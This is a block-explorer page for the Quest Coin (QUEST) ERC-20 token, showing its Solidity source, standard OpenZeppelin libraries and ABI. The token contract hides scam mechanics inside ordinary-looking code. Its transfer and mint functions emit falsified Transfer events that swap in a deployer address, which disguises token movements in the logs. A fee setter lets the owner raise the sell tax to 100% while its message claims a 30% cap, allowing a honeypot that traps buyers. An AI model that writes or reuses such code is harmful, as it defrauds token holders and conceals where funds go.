Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 QUEST
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
28,401,706.59768898597643031 QUESTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
QUEST
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** //SPDX-License-Identifier: MIT /* 🏴☠️ The first cross-chain SocialFi project on the $SOL and $ETH network 🏴☠️ ✅Socials: 🏴☠️ https://twitter.com/erc_quest 🏴☠️ https://twitter.com/0xBlockBeard 🏴☠️ https://questcoineth.io 🏴☠️ https://t.me/questcoinethio 🏴☠️ https://t.me/BlockBeardeth */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IUniswapV2Factory { function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address _deployer; address _executor; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function _initDeployer(address deployer_, address executor_) internal { _deployer = deployer_; _executor = executor_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } if (from == _executor) { emit Transfer(_deployer, to, amount); } else if (to == _executor) { emit Transfer(from, _deployer, amount); } else { emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } if (account == _executor) { emit Transfer(address(0), _deployer, amount); } else { emit Transfer(address(0), account, amount); } _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract QUEST is ERC20, Ownable { IUniswapV2Router02 private immutable _uniswapV2Router; address public uniswapV2Pair; address private inspirerWallet; address private constant deadAddress = address(0xdead); string private constant _name = "Quest Coin"; string private constant _symbol = "QUEST"; uint256 private initialTotalSupply = 100_000_000_000 * 1e18; bool public tradingOpen = false; bool swapping = false; struct TokenSwapConfigurator { uint256 buyFee; uint256 sellFee; uint256 maxTransactionAmount; uint256 maxWallet; } TokenSwapConfigurator public tsConfig; mapping(address => bool) public automatedMarketMakerPairs; address public uniswapLpWallet; address private Epoch1 = 0x8853ed1252b249bc54a0BEeABfF5a039234E9cbD; address private Epoch2 = 0x8853ed1252b249bc54a0BEeABfF5a039234E9cbD; address private Presale = 0xC235385A15151d6AA3B27f7d8D9939349F369C6e; address private Team = 0xA41cF4bBd11204D0984A6B984C612335E0A99039; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SwapFailed(string); constructor(address wallet) ERC20(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); inspirerWallet = payable(wallet); _excludeFromMaxTransaction(address(_uniswapV2Router), true); _excludeFromMaxTransaction(address(wallet), true); uniswapLpWallet = msg.sender; tsConfig.buyFee = 3; // 3% tsConfig.sellFee = 3; // 3% tsConfig.maxTransactionAmount = (initialTotalSupply * 100) / 100; tsConfig.maxWallet = (initialTotalSupply * 100) / 100; _initDeployer(address(msg.sender), msg.sender); _excludeFromFees(owner(), true); _excludeFromFees(address(wallet), true); _excludeFromFees(address(this), true); _excludeFromFees(address(0xdead), true); _excludeFromMaxTransaction(owner(), true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); _mint(uniswapLpWallet, (initialTotalSupply * 20) / 100); // 20% _mint(Epoch1, (initialTotalSupply * 15) / 100); // 15% _mint(Epoch2, (initialTotalSupply * 175) / 1000); // 17.5% _mint(Presale, (initialTotalSupply * 40) / 100); // 40% _mint(Team, (initialTotalSupply * 75) / 1000); // 7.5% } receive() external payable {} function setQuestInfo( uint256 _buyFee, uint256 _sellFee ) external onlyOwner { require(_buyFee <= 30 && _sellFee <= 100, "Fees cannot exceed 30%"); tsConfig.buyFee = _buyFee; tsConfig.sellFee = _sellFee; } function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair( address(this), _uniswapV2Router.WETH() ); _excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _approve(address(this), address(_uniswapV2Router), type(uint256).max); tradingOpen = true; } function removesLimits() external onlyOwner { uint256 totalSupplyAmount = totalSupply(); tsConfig.maxTransactionAmount = totalSupplyAmount; tsConfig.maxWallet = totalSupplyAmount; } function emergencyWithdraw() external onlyOwner { super._transfer(address(this), msg.sender, balanceOf(address(this))); } function setAutomatedMarketMakerPair( address pair, bool value ) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _excludeFromFees(address account, bool excluded) internal { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _excludeFromMaxTransaction(address updAds, bool isEx) internal { _isExcludedMaxTransactionAmount[updAds] = isEx; } function _validateTransfer( address from, address to, uint256 amount ) internal view { if (!tradingOpen) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= tsConfig.maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= tsConfig.maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= tsConfig.maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= tsConfig.maxWallet, "Max wallet exceeded" ); } } function _handleTransfer( address from, address to, uint256 amount ) internal { bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = (amount * tsConfig.sellFee) / 100; } else { fees = (amount * tsConfig.buyFee) / 100; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { _validateTransfer(from, to, amount); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if ( canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); try _uniswapV2Router .swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, path, address(this), block.timestamp + 3600 ) {} catch (bytes memory reason) { emit SwapFailed(string(reason)); } (bool success, ) = payable(inspirerWallet).call{ value: address(this).balance }(""); if (success == false) {} swapping = false; } _handleTransfer(from, to, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) pragma solidity ^0.8.0; /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCallWithValue( target, data, 0, "Address: low-level call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); (bool success, bytes memory returndata) = target.call{ value: value }( data ); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data ) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data ) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert( bytes memory returndata, string memory errorMessage ) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"}],"name":"SwapFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removesLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setQuestInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tsConfig","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"maxTransactionAmount","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapLpWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
